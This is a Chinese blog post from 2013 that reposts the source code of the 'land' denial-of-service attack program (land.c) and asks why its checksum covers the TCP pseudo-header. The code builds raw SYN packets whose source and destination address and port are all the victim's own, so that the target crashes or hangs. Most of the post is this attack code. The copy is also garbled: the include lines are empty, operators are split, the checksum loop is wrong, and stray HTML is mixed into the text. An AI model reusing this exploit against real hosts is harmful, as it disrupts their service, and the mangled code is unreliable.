2013年5月30日星期四

land攻击程序代码

land攻击程序代码的问题
land攻击程序代码如下,我看不大明白其中的checksum()函数,为什么要计算pseudohdr的校验和,而不是tcphdr的呢? 

#include     
#include     
#include     
#include     
#include     
#include     
#include     
#include     
#include     
  
struct   pseudohdr   
{   
struct   in_addr   saddr;   
struct   in_addr   daddr;   
u_char   zero;   
u_char   protocol;   
u_short   length;   
struct   tcphdr   tcpheader;   
};   
  
u_short   checksum(u_short   *   data,u_short   length)   
{   
register   long   value;   
u_short   i;   
  
for(i=0;i <(length> > 1);i++)   
value+=data;   
  
if((length&1)==1)   
value+=(data < <8);   
  
value=(value&65535)+(value> > 16);   
  
return(~value);   
}   

int   main(int   argc,char   *   *   argv)   
{   
struct   sockaddr_in   sin;   
struct   hostent   *   hoste;   
int   sock;   
char   buffer[40];   
struct   iphdr   *   ipheader=(struct   iphdr   *)   buffer;   
struct   tcphdr   *   tcpheader=(struct   tcphdr   *)   (buffer+sizeof(struct   iphdr));   
struct   pseudohdr   pseudoheader;   
  
fprintf(stderr, "land.c   by   m3lt,   FLC\n ");   
  
if(argc <3)   
{   
fprintf(stderr, "usage:   %s   IP   port\n ",argv[0]);   
return(-1);   
}   
  
bzero(&sin,sizeof(struct   sockaddr_in));   
sin.sin_family=AF_INET;   
  
if((hoste=gethostbyname(argv[1]))!=NULL)   
bcopy(hoste-> h_addr,&sin.sin_addr,hoste-> h_length);   
else   if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)   
{   
fprintf(stderr, "unknown   host   %s\n ",argv[1]);   
return(-1);   
}   
  
if((sin.sin_port=htons(atoi(argv[2])))==0)   
{   
fprintf(stderr, "unknown   port   %s\n ",argv[2]);   
return(-1);   
}   
  
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)   
{   
fprintf(stderr, "couldn 't   allocate   raw   socket\n ");   
return(-1);   
}   
  
bzero(&buffer,sizeof(struct   iphdr)+sizeof(struct   tcphdr));   
ipheader-> version=4;   
ipheader-> ihl=sizeof(struct   iphdr)/4;   
ipheader-> tot_len=htons(sizeof(struct   iphdr)+sizeof(struct   tcphdr));   
ipheader-> id=htons(0xF1C);   
ipheader-> ttl=255;   
ipheader-> protocol=IP_TCP;   
ipheader-> saddr=sin.sin_addr.s_addr;   
ipheader-> daddr=sin.sin_addr.s_addr;   
  
tcpheader-> th_sport=sin.sin_port;   
tcpheader-> th_dport=sin.sin_port;   
tcpheader-> th_seq=htonl(0xF1C);   
tcpheader-> th_flags=TH_SYN;   
tcpheader-> th_off=sizeof(struct   tcphdr)/4;   
tcpheader-> th_win=htons(2048);   
  
bzero(&pseudoheader,12+sizeof(struct   tcphdr));   
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;   
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;   
pseudoheader.protocol=6;   
pseudoheader.length=htons(sizeof(struct   tcphdr));   
bcopy((char   *)   tcpheader,(char   *)   &pseudoheader.tcpheader,sizeof(struct   tcphdr));   
tcpheader-> th_sum=checksum((u_short   *)   &pseudoheader,12+sizeof(struct   tcphdr));   
  
if(sendto(sock,buffer,sizeof(struct   iphdr)+sizeof(struct   tcphdr),0,(struct   sockaddr   *)   &sin,sizeof(struct   sockaddr_in))==-1)   
{   
fprintf(stderr, "couldn 't   send   packet\n ");   
return(-1);   
}   
  
fprintf(stderr, "%s:%s   landed\n ",argv[1],argv[2]);   
  
close(sock);   
return(0);   
}style="margin: 0 0 0 -2000px;">心情短语

没有评论:

发表评论